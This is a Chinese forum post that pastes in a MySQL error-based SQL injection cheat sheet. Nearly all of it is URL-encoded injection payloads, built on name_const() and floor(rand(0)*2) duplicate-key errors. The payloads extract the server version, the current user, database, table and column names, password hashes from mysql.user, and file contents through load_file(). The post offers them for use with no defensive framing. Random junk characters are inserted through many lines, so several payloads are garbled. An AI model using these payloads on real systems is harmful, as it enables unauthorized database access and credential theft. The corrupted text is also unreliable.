找回密码
 立即注册
查看: 2621|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
& `1 U: l9 i, k4 `  G& F! m2 b- e. R6 K* X7 I

: C2 t' s% @! K2 m9 J1 j3 n; cMysql暴错注入参考(pdf),每天一贴。。。6 N$ _3 d* e" Y( C, j
2 M" O  c, {: t& W! U
MySql Error Based Injection Reference
4 s8 r# r* ]. ~# |+ t[Mysql暴错注入参考]1 z7 _' a% }9 A0 P( ]9 @
Authornig0s1992# ?+ r9 I. O# Y
Blog:http://pnig0s1992.blog.51cto.com/" y8 v& P: N# J  G
TeAm:http://www.FreeBuf.com/* C- g4 Y- {& N) [3 f
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
2 R3 U; i: h; D9 K; w小部分版本使用name_const()时会报错.可以用给出的Method.2测试3 Z" t% D& b5 X; i9 _) r; k
查询版本:* N4 U( x. V' r
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+7 h+ S9 o$ d& Z1 T8 ^  ?
join+(select+name_const(@@version,0))b)c)
. r+ |/ q+ C5 M+ N& e9 GMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro* S6 J1 y6 k5 {- V! Q; ^1 g4 |
up by a)b)1 A/ k+ w7 Y2 {2 q: x$ N
查询当前用户:
( l9 w$ x" A9 E8 @2 lMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
/ k4 W' l( N/ o3 O4 n- I) |% M5 VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r$ n4 E2 J7 M( _
and(0)*2))x+from+information_schema.tables+group+by+x)a)
& p! z! f' ^: h5 N1 w+ Z7 @* R3 _查询当前数据库:
! ?" q% C) i+ [) X6 FMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
* I& }( s( {/ }, i  S  rMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
9 i: V: U2 }4 N* f7 ?3 n) \) R1 f5 Cor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)( [( m$ f" l: v0 Q
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+4 X! e5 {* S; w5 j& [5 u4 D& b
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n# J4 k* m( Z0 y
顺序替换% o- U) J' G% u
爆指定库数目:9 t6 H  k' o1 P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
* C) @& |! o4 L, }* h" i/ zable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group1 j* r  f7 w/ `
+by+x)a)+and+1=1 0x6D7973716C=mysql
  S5 }1 w$ ^$ p+ i' J依次爆表:! Q5 W% |' ]7 }8 x9 [; g
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
3 W' g3 s# P0 j  D, P7 }1 z5 cable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta. M" U/ ?' S6 ^" K7 F7 \4 o3 T
bles+group+by+x)a)+and+1=1
1 C. }, R  F% R+ S* T0x6D7973716C=Mysql 将n顺序替换
. k) Q- ]4 p; a0 ?1 H爆表内字段数目:
6 n# m: p* u% O+ V0 ]3 Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
& Q/ q$ U% Q8 O- v. N+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran6 L5 t! q0 J4 A2 i/ X
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 y7 j% O5 x! T0 {- i* }& h
依次爆字段:: k2 Y% I/ L& Y/ c. M8 }% K
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
3 J4 y9 j/ }% f, t. Q+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" }5 N$ e5 \" w$ @; ^* f" \loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
% p' E' p* ?- k4 l7 [- h依次暴内容:
0 q; _( X3 g: q$ O, p7 W* Jand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
) `) h% Q# W6 a$ c8 tma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 O4 }6 Q) ?* ?) {4 N% _将n顺序替换
  K/ l7 l% ~) Q爆文件内容:1 _1 A" u+ N' y' X+ p- y
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a4 M. n3 x, e8 f! Q0 B
from+information_schema.tables+group+by+a)b) 0 A0 [/ u3 K0 j
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
" w9 d9 K3 Y  ?' w! zThx for reading.
' n  ?% y9 u1 Z% i6 c
5 S- C. e" `9 z, I+ ?不要下载也可以, 2 F! f) }( E  L9 f7 ^

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表